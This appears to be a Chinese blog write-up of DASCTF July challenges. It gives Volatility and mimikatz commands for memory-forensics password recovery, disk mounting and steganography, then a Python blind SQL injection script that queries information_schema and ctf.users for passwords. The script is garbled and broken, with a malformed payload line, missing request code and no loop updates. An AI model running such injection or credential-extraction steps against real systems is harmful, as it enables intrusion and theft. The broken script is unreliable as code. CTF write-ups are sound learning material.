您当前的位置: 首页 > 

ThnPkm

暂无认证

  • 8浏览

    0关注

    98博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[DASCTF 7月赛] 复现

ThnPkm 发布时间:2022-08-17 15:49:18 ,浏览量:8

ez_forenisc

获取内存镜像的摘要信息,比如系统版本: imageinfo

查看进程信息: pslist

python2 vol.py -f pc.raw --profile=Win7SP1x64 pslist

扫描 cmd命令使用情况: cmdscan

python2 vol.py -f pc.raw --profile=Win7SP1x64 cmdscan

 提示说有屏幕截图

查看屏幕截图: 

python2 vol.py -f pc.raw --profile=Win7SP1x64 screenshot --dump-dir=./

 文件名是thes3cret 

查找文件: filescan 、grep

python2 vol.py -f pc.raw --profile=Win7SP1x64 filescan | grep 'thes3cret'

导出文件:dumpfiles

python2 vol.py -f pc.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eeb4650 -D ./ 

 发现密文

查看明文密码: mimikatz 

  

550f37c7748e 

挂载pc.vmdk

FTK Imager 打开后Mount 该文件

 

 再用efdd 打开,配合pc.raw挂载

 

 

 挂载成功到F盘

 

 

 可以打开文件了

一个png ,用zsteg打开能看见有个zip,提取出来

 

压缩包密码就是上面 的admin密码550f37c7748e 

 

 这串数字是八进制 ,也可直接ciphey

得到了密钥 358daebef0b7d 

上面也得到了密文U2Fs.... 是AES密文

绝对防御

源码找可疑路径

访问后有源码,有过滤 

 

import requests
import time

def getDatabase():

    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #sql="select database()"
            sql="select group_concat(table_name) from information_schema.tables where table_schema=database()"
            sql="select group_concat(column_name) from information_schema.columns where table_name='users'"
            sql="select password from ctf.users where id=2" 
//flag在id为2的表里
            payload= "1 and (ascii(substr(({}),{},1)) "+ans)

getDatabase()

关注
打赏
1660722558
查看更多评论
立即登录/注册

微信扫码登录

0.0348s